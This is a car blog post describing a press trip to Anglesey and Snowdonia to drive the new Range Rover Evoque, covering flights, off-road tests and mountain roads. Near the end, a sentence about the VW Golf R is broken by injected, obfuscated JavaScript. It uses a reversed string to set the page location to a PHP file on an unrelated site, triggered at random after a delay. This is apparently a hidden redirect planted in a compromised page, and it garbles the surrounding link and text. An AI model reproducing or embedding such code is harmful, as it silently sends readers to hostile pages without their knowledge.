Range Rover Evoque // Behind the scenes // UK // Pt 1

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Late last week marked another opportunity for crankandpiston to pack our bags and hop aboard a jet liner bound for Europe. Usually we are big fans of driving new metal on site, right here in the Middle East, however when the car in question is one of – if not the most anticipated car of the year – we happily got the travel bag out of the cupboard.

The car in question is the all new Range Rover Evoque and our excitement to drive the car was nigh on at fever pitch!

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Ahhhh – The pleasure of getting out of the hot, humid and terribly dusty Middle East! The serenity of beautiful blue skies and fluffy clouds.  After soaking it all in and riding out the initial turbulence (why is that every Virgin flight I go on is bumpy??), it was time to grab some food and stick my head into a book for a couple of hours.

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Speaking of the book… if you haven’t seen it, I highly recommend it! The secret life of the man that shaped (bent) Formula 1 into the way we know it today.

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While the rest of us (the press contingent including CAR, EVO, Wheels, Drive Arabia etc) relaxed, Rachel and Hannah from Land Rover sat down and worked out the final driver pairings for the event. Before we knew it, the plane had docked at Heathrow and we were on our way to the Airport hotel for a short lay over, prior to jetting off to North Wales to start the drive.

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We awoke bright and sparky, jumped in a coach and heading across London for a date with Farnborough Airport.

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Our taxi for the short hope across the UK and onto the Isle of Anglesey, a county off the north west coast of Wales.

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It didn’t take long after we had landed and hopped off the plan for the camera phones to pulled out of their respective pockets and be put to good use…

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… and why wouldn’t you! Having seen the car across all manner of publications over the last few months, nothing prepares you for just how awesome the Range Rover Evoque looks in the flesh. We will go into more detail with our review of the car itself, but suffice to say Land Rover, Jez Waterman and the rest of the Design team certainly nailed it.

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After a quick debrief from David Sneath and the Land Rover Experience team, there was a mad rush across the car park to grab the wheels of choice… We managed to bag ourselves the exact spec we were after, a 5dr 2.0Si4 Dynamic Range Rover Evoque, which became our stead for the rest of the day.

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After about twenty minutes of driving, it was test time! Along the whole route there were way points designed to put the car through it’s paces and test our skills behind the wheel. As with every stop, the friendliness and helpful attitude of the Experiences guys was a pleasure… so on we trotted.

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First up was a gentle hack across the Welsh countryside. Although a very easy drive, what it did really highlight was just how cosseted the car made you feel. Not to mention just how superb the magnetic Magna Ride (luckily fitted to our car) was and how it kept the car completely and utterly stable and supple across the jittery ground.

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Time for a quick side profile beauty shot…

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Time for another test then… HDC (Hill Decent Control) on… speed specified at a nice and easy walking pace (another superb piece of Land Rover technology) and off we mooched.

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It might not look anything special from here, but just round the corner the mud track dipped off to the right, not to mention at a nifty angle. Mo, who was my partner in crime for the day, took the wheel and cautiously let the Range Rover Evoque do its thing.  Even though it was pretty tricky to walk down, the little Rangie happily made it’s way down to the bottom without breaking a sweat.

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We had to drop this one in as it made us smile…

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So with our mud plugging, rut driving and green lane hacking done with, it was time for a quick tyre check and a wash down! I loved the attention to detail Land Rover and the crew threw at the event… and happily we were good to go, unlike later on during the drive!

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After a simple drive to the lunch stop (at Hogwarts of all places!), I took the time to soak up the interior… the quality, design and goodies on show where truly first class. Land Rover certainly have a hot potato on their hands with this car.

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After a beautiful lunch and still feeling suitably fat, the ultimate drive beckoned… Llanberis Pass – the road sign we had been waiting for!

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And to make the journey more enjoyable, we had a Range Rover Evoque Coupe to hunt down…

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and another, hunting us down… It was this territory that the Range Rover Evoque really started to surprise us. With stunning composure, balance to surprise a lot of cars and cross country pace to match, dare we say it, a $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/201110686/vw-golf-r-who-needs-a-911/” target=”_blank”>VW Golf R, this Evoque was ticking every single box thrown at it.

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However, before we got too hot under the collar it was time for a nicotine and caffeine break to soak in the wonder of Snowdonia…. oh and the concept good looks of the Evoque.  Oh come one… some times mother nature wins!

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So that is it for Part 1… Catch up in Pt2 as we get up close and personal with world renowned photographer, Mr Nick Dimbleby and go behind the scenes on an EVO Middle East photo shoot. Not to mention the rest of the journey across the Welsh countryside and the fun and games we had in Liverpool.